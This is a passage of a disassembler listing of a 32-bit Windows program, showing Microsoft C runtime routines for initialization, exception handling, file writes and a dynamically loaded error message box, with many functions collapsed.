mov esi, eax
jnb short loc_40B063
loc_40B054: ; CODE XREF: sub_40B042+1Fj
mov eax, [esi]
test eax, eax
jz short loc_40B05C
call eax
loc_40B05C: ; CODE XREF: sub_40B042+16j
add esi, 4
cmp esi, edi
jb short loc_40B054
loc_40B063: ; CODE XREF: sub_40B042+10j
pop edi
pop esi
retn
sub_40B042 endp
; =============== S U B R O U T I N E =======================================
; void __cdecl sub_40B066()
sub_40B066 proc near ; DATA XREF: __cinit+3Fo
push esi
push edi
mov eax, offset dword_42129C
mov edi, offset dword_42129C
cmp eax, edi
mov esi, eax
jnb short loc_40B087
loc_40B078: ; CODE XREF: sub_40B066+1Fj
mov eax, [esi]
test eax, eax
jz short loc_40B080
call eax
loc_40B080: ; CODE XREF: sub_40B066+16j
add esi, 4
cmp esi, edi
jb short loc_40B078
loc_40B087: ; CODE XREF: sub_40B066+10j
pop edi
pop esi
retn
sub_40B066 endp
; [00000094 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION $LN9_2. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40B1CF proc near ; DATA XREF: .rdata:004216E8o
mov dword ptr [ecx], offset off_41DC24
jmp sub_402CCA
sub_40B1CF endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_40B1DA(void *Memory,char)
sub_40B1DA proc near ; DATA XREF: .rdata:off_41DC24o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41DC24
call sub_402CCA
test [esp+4+arg_0], 1
jz short loc_40B1F6
push esi ; Memory
call j__free
pop ecx
loc_40B1F6: ; CODE XREF: sub_40B1DA+13j
mov eax, esi
pop esi
retn 4
sub_40B1DA endp
; [0000005C BYTES: COLLAPSED FUNCTION ___TypeMatch. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION ___FrameUnwindFilter. PRESS KEYPAD "+" TO EXPAND]
; [000000C0 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION $LN29. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION $LN18_4. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___DestructExceptionObject. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
$LN14_5:
xor eax, eax
cmp [ebp+0Ch], al
setnz al
$LN12_4:
retn
; ---------------------------------------------------------------------------
$LN9_3:
mov esp, [ebp-18h]
jmp ?terminate@@YAXXZ ; terminate(void)
; [00000025 BYTES: COLLAPSED FUNCTION ___AdjustPointer. PRESS KEYPAD "+" TO EXPAND]
; [00000079 BYTES: COLLAPSED FUNCTION IsInExceptionSpec(EHExceptionRecord *,_s_ESTypeList const *). PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION unknown_libname_101. PRESS KEYPAD "+" TO EXPAND]
db 83h ; ƒ
db 4Dh ; M
db 0FCh ; ü
db 0FFh
db 0E9h ; é
db 74h ; t
db 9
db 0
db 0
; [00000018 BYTES: COLLAPSED FUNCTION unknown_libname_102. PRESS KEYPAD "+" TO EXPAND]
; [0000011B BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION $LN27_2. PRESS KEYPAD "+" TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION $LN16_3. PRESS KEYPAD "+" TO EXPAND]
; [0000017F BYTES: COLLAPSED FUNCTION ___BuildCatchObjectHelper. PRESS KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION ___BuildCatchObject. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
$LN19_5:
xor eax, eax
inc eax
$LN17_2:
retn
; ---------------------------------------------------------------------------
$LN14_6:
mov esp, [ebp-18h]
jmp ?terminate@@YAXXZ ; terminate(void)
; [0000006C BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND]
; [000000F2 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000356 BYTES: COLLAPSED FUNCTION unknown_libname_104. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_108: ; Microsoft VisualC 2-8/net runtime
push esi
push dword ptr [esp+8]
mov esi, ecx
call ??0exception@std@@QAE@ABV01@@Z ; std::exception::exception(exception::exception const &)
mov dword ptr [esi], offset off_41DC24
mov eax, esi
pop esi
retn 4
; [000000E4 BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
$LN12_5:
xor eax, eax
inc eax
$LN10_3:
retn
; ---------------------------------------------------------------------------
$LN7_1:
mov esp, [ebp-18h]
; [00000012 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION unexpected(void). PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION _inconsistency(void). PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __initp_eh_hooks. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_109. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __freea. PRESS KEYPAD "+" TO EXPAND]
; [000003A2 BYTES: COLLAPSED FUNCTION unknown_libname_111. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int). PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000190 BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION ___free_lconv_num. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___free_lconv_mon. PRESS KEYPAD "+" TO EXPAND]
; [00000071 BYTES: COLLAPSED FUNCTION _strcat_s. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000046 BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION _strncpy_s. PRESS KEYPAD "+" TO EXPAND]
; [000000BE BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000040 BYTES: COLLAPSED FUNCTION _strpbrk. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __isleadbyte_l. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _isleadbyte. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION __isctype_l. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40CAFA proc near ; CODE XREF: __init_pointers+Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_42641C, eax
retn
sub_40CAFA endp
; [00000010 BYTES: COLLAPSED FUNCTION __crtInitCritSecNoSpinCount(x,x). PRESS KEYPAD "+" TO EXPAND]
; [000000C5 BYTES: COLLAPSED FUNCTION ___crtInitCritSecAndSpinCount. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __ValidateImageBase. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __FindPESection. PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION __IsNonwritableInCurrentImage. PRESS KEYPAD "+" TO EXPAND]
; [00000083 BYTES: COLLAPSED FUNCTION __lseeki64_nolock. PRESS KEYPAD "+" TO EXPAND]
; [0000010F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN14_7. PRESS KEYPAD "+" TO EXPAND]
; [000005C6 BYTES: COLLAPSED FUNCTION __write_nolock. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D420 proc near ; CODE XREF: __flsbuf+CBp
; __flsbuf+13Ap ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push 10h
push offset dword_4217C0
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_40D44F
call ___doserrno
and dword ptr [eax], 0
call __errno
mov dword ptr [eax], 9
loc_40D447: ; CODE XREF: sub_40D420+5Cj
or eax, 0FFFFFFFFh
jmp loc_40D4EC
; ---------------------------------------------------------------------------
loc_40D44F: ; CODE XREF: sub_40D420+12j
xor edi, edi
cmp eax, edi
jl short loc_40D45D
cmp eax, dword_433C84
jb short loc_40D47E
loc_40D45D: ; CODE XREF: sub_40D420+33j
; sub_40D420+7Cj
call ___doserrno
mov [eax], edi
call __errno
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call __invalid_parameter
add esp, 14h
jmp short loc_40D447
; ---------------------------------------------------------------------------
loc_40D47E: ; CODE XREF: sub_40D420+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:433CA0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [ebx]
movzx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_40D45D
push eax
call ___lock_fhandle
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_40D4C7
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call __write_nolock
add esp, 0Ch
mov [ebp+var_1C], eax
jmp short loc_40D4DD
; ---------------------------------------------------------------------------
loc_40D4C7: ; CODE XREF: sub_40D420+8Fj
call __errno
mov dword ptr [eax], 9
call ___doserrno
mov [eax], edi
or [ebp+var_1C], 0FFFFFFFFh
loc_40D4DD: ; CODE XREF: sub_40D420+A5j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40D4F2
mov eax, [ebp+var_1C]
loc_40D4EC: ; CODE XREF: sub_40D420+2Aj
call __SEH_epilog4
retn
sub_40D420 endp
; =============== S U B R O U T I N E =======================================
sub_40D4F2 proc near ; CODE XREF: sub_40D420+C4p
; DATA XREF: .rdata:004217D8o
push dword ptr [ebp+8]
call __unlock_fhandle
pop ecx
retn
sub_40D4F2 endp
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [0000001F BYTES: COLLAPSED FUNCTION __initp_misc_cfltcvt_tab. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __get_printf_count_output. PRESS KEYPAD "+" TO EXPAND]
; [0000015F BYTES: COLLAPSED FUNCTION __wctomb_s_l. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _wctomb_s. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS KEYPAD "+" TO EXPAND]
; [00000087 BYTES: COLLAPSED FUNCTION _fastcopy_I. PRESS KEYPAD "+" TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION unknown_libname_114. PRESS KEYPAD "+" TO EXPAND]
; [000000F7 BYTES: COLLAPSED FUNCTION __calloc_impl. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION $LN37_0. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN24_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION __calloc_impl. PRESS KEYPAD "+" TO EXPAND]
; [0000013E BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION $LN66. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN48. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [000000CE BYTES: COLLAPSED CHUNK OF FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [00000047 BYTES: COLLAPSED FUNCTION __recalloc. PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION __initp_misc_winsig. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40DD1C proc near ; CODE XREF: _abort:loc_4101EAp
push dword_42642C
call __decode_pointer
pop ecx
retn
sub_40DD1C endp
; [0000016E BYTES: COLLAPSED FUNCTION unknown_libname_119. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION unknown_libname_123. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION unknown_libname_124. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION sub_40DEAC. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_119. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_126. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40DEE3 proc near ; CODE XREF: __init_pointers+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_426444, eax
retn
sub_40DEE3 endp
; [00000057 BYTES: COLLAPSED FUNCTION _fastzero_I. PRESS KEYPAD "+" TO EXPAND]
; [0000008F BYTES: COLLAPSED FUNCTION unknown_libname_127. PRESS KEYPAD "+" TO EXPAND]
; [00000096 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN13_11. PRESS KEYPAD "+" TO EXPAND]
; [0000063E BYTES: COLLAPSED FUNCTION __tsopen_nolock. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6B0 proc near ; CODE XREF: sub_40E77C+14p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push 14h
push offset dword_421860
call __SEH_prolog4
xor esi, esi
mov [ebp+var_1C], esi
xor eax, eax
mov edi, [ebp+arg_10]
cmp edi, esi
setnz al
cmp eax, esi
jnz short loc_40E6EA
loc_40E6CF: ; CODE XREF: sub_40E6B0+47j
; sub_40E6B0+5Bj
call __errno
push 16h
pop edi
mov [eax], edi
push esi
push esi
push esi
push esi
push esi
call __invalid_parameter
add esp, 14h
mov eax, edi
jmp short loc_40E743
; ---------------------------------------------------------------------------
loc_40E6EA: ; CODE XREF: sub_40E6B0+1Dj
or dword ptr [edi], 0FFFFFFFFh
xor eax, eax
cmp [ebp+arg_0], esi
setnz al
cmp eax, esi
jz short loc_40E6CF
cmp [ebp+arg_14], esi
jz short loc_40E70D
mov eax, [ebp+arg_C]
and eax, 0FFFFFE7Fh
neg eax
sbb eax, eax
inc eax
jz short loc_40E6CF
loc_40E70D: ; CODE XREF: sub_40E6B0+4Cj
mov [ebp+ms_exc.disabled], esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_1C]
push eax
mov eax, edi
call __tsopen_nolock
add esp, 14h
mov [ebp+var_20], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E74E
mov eax, [ebp+var_20]
cmp eax, esi
jz short loc_40E743
or dword ptr [edi], 0FFFFFFFFh
loc_40E743: ; CODE XREF: sub_40E6B0+38j
; sub_40E6B0+8Ej
call __SEH_epilog4
retn
sub_40E6B0 endp
; =============== S U B R O U T I N E =======================================
sub_40E749 proc near ; DATA XREF: .rdata:00421878o
xor esi, esi
mov edi, [ebp+18h]
sub_40E749 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E74E proc near ; CODE XREF: sub_40E6B0+84p
cmp [ebp-1Ch], esi
jz short locret_40E77B
cmp [ebp-20h], esi
jz short loc_40E773
mov eax, [edi]
mov ecx, eax
sar ecx, 5
and eax, 1Fh
imul eax, 28h
mov ecx, dword_433CA0[ecx*4]
lea eax, [ecx+eax+4]
and byte ptr [eax], 0FEh
loc_40E773: ; CODE XREF: sub_40E74E+8j
push dword ptr [edi]
call __unlock_fhandle
pop ecx
locret_40E77B: ; CODE XREF: sub_40E74E+3j
retn
sub_40E74E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E77C proc near ; CODE XREF: __openfile+26Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 1
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40E6B0
add esp, 18h
pop ebp
retn
sub_40E77C endp
; [0000021A BYTES: COLLAPSED FUNCTION __mbsicmp_l. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION __mbsicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000169 BYTES: COLLAPSED FUNCTION unknown_libname_131. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40EB30(char *,char *,size_t)
sub_40EB30 proc near ; CODE XREF: __openfile+1D1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0 ; int
push [esp+4+arg_8] ; size_t
push [esp+8+arg_4] ; char *
push [esp+0Ch+arg_0] ; char *
call unknown_libname_131 ; Microsoft VisualC 2-8/net runtime
add esp, 10h
retn
sub_40EB30 endp
; ---------------------------------------------------------------------------
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000084 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [0000001F BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION __NLG_Call. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000071 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION ___lock_fhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION $LN14_9. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN11_4. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unlock_fhandle. PRESS KEYPAD "+" TO EXPAND]
; [000000CD BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION $LN48_0. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN35. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [000000BA BYTES: COLLAPSED CHUNK OF FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION $LN31_0. PRESS KEYPAD "+" TO EXPAND]
; [000000D7 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION $LN16_4. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION __isdigit_l. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION __isxdigit_l. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION __isspace_l. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
; [0000011E BYTES: COLLAPSED FUNCTION __ungetc_nolock. PRESS KEYPAD "+" TO EXPAND]
; [00000113 BYTES: COLLAPSED FUNCTION __mbtowc_l. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F524 proc near ; CODE XREF: __NMSG_WRITE+15Dp
var_30 = dword ptr -30h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
call __encoded_null
xor ebx, ebx
cmp dword_426488, ebx
mov [ebp+var_10], eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
jnz loc_40F5F9
push offset aUser32_dll ; "USER32.DLL"
call ds:dword_41D0E8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jnz short loc_40F564
loc_40F55D: ; CODE XREF: sub_40F524+50j
xor eax, eax
jmp loc_40F6BD
; ---------------------------------------------------------------------------
loc_40F564: ; CODE XREF: sub_40F524+37j
mov esi, ds:dword_41D0EC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
jz short loc_40F55D
push eax
call __encode_pointer
mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
push edi
mov dword_426488, eax
call esi ; GetProcAddress
push eax
call __encode_pointer
mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_42648C, eax
call esi ; GetProcAddress
push eax
call __encode_pointer
mov dword_426490, eax
lea eax, [ebp+var_8]
push eax
call sub_407906
test eax, eax
pop ecx
pop ecx
jz short loc_40F5C7
push ebx
push ebx
push ebx
push ebx
push ebx
call __invoke_watson
add esp, 14h
loc_40F5C7: ; CODE XREF: sub_40F524+94j
cmp [ebp+var_8], 2
jnz short loc_40F5F9
push offset aGetuserobjecti ; "GetUserObjectInformationA"
push edi
call esi ; GetProcAddress
push eax
call __encode_pointer
cmp eax, ebx
pop ecx
mov dword_426498, eax
jz short loc_40F5F9
push offset aGetprocesswind ; "GetProcessWindowStation"
push edi
call esi ; GetProcAddress
push eax
call __encode_pointer
pop ecx
mov dword_426494, eax
loc_40F5F9: ; CODE XREF: sub_40F524+22j
; sub_40F524+A7j ...
mov eax, dword_426494
mov esi, [ebp+var_10]
cmp eax, esi
jz short loc_40F672
cmp dword_426498, esi
jz short loc_40F672
push eax
call __decode_pointer
pop ecx
call eax
cmp eax, ebx
jz short loc_40F63F
lea ecx, [ebp+var_14]
push ecx
push 0Ch
lea ecx, [ebp+var_20]
push ecx
push 1
push eax
push dword_426498
call __decode_pointer
pop ecx
call eax
test eax, eax
jz short loc_40F63F
test [ebp+var_18], 1
jnz short loc_40F672
loc_40F63F: ; CODE XREF: sub_40F524+F4j
; sub_40F524+113j
lea eax, [ebp+var_C]
push eax
call sub_40793D
test eax, eax
pop ecx
jz short loc_40F65A
push ebx
push ebx
push ebx
push ebx
push ebx
call __invoke_watson
add esp, 14h
loc_40F65A: ; CODE XREF: sub_40F524+127j
cmp [ebp+var_C], 4
jb short loc_40F669
or [ebp+arg_8], 200000h
jmp short loc_40F6A3
; ---------------------------------------------------------------------------
loc_40F669: ; CODE XREF: sub_40F524+13Aj
or [ebp+arg_8], 40000h
jmp short loc_40F6A3
; ---------------------------------------------------------------------------
loc_40F672: ; CODE XREF: sub_40F524+DFj
; sub_40F524+E7j ...
mov eax, dword_42648C
cmp eax, esi
jz short loc_40F6A3
push eax
call __decode_pointer
pop ecx
call eax
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40F6A3
mov eax, dword_426490
cmp eax, esi
jz short loc_40F6A3
push [ebp+var_4]
push eax
call __decode_pointer
pop ecx
call eax
mov [ebp+var_4], eax
loc_40F6A3: ; CODE XREF: sub_40F524+143j
; sub_40F524+14Cj ...
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+var_4]
push dword_426488
call __decode_pointer
pop ecx
call eax
loc_40F6BD: ; CODE XREF: sub_40F524+3Bj
pop edi
pop esi
pop ebx
leave
retn
sub_40F524 endp
; [00000046 BYTES: COLLAPSED FUNCTION __set_error_mode. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40F708 proc near ; CODE XREF: __umatherr+5Fp
; DATA XREF: ___libm_error_support:loc_40A46Do
xor eax, eax
retn
sub_40F708 endp
; [00000060 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION _has_osfxsr_set. PRESS KEYPAD "+" TO EXPAND]
; [00000060 BYTES: COLLAPSED FUNCTION unknown_libname_133. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40F839 proc near ; DATA XREF: .rdata:0041D2D0o
call unknown_libname_133 ; Microsoft VisualC 2-8/net runtime
mov dword_433C7C, eax
xor eax, eax
retn
sub_40F839 endp
; [000002DA BYTES: COLLAPSED FUNCTION __raise_exc_ex. PRESS KEYPAD "+" TO EXPAND]
; [000001E1 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION unknown_libname_135. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [000000BA BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
